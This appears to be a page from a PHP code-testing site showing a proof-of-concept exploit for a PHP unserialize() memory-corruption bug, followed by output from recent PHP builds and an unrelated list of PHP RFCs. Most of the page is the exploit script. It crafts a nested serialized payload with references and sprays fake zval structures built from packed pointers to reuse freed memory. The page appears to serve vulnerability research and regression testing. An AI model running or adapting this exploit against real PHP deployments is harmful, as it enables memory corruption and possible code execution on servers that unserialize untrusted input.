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@ 2016-08-16T14:25:45Z

<?php

class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

class obj2 {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'a:2:{i:0;r:2;';
$exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

Output for git.master, git.master_jit: Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/ffWAn on line 3 Notice: unserialize(): Error at offset 13 of 13 bytes in /in/ffWAn on line 9 Notice: unserialize(): Error at offset 89 of 92 bytes in /in/ffWAn on line 30 bool(false)
Output for rfc.property-hooks: Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/ffWAn on line 3 Warning: unserialize(): Error at offset 13 of 13 bytes in /in/ffWAn on line 9 Warning: unserialize(): Error at offset 89 of 92 bytes in /in/ffWAn on line 30 bool(false)

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2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

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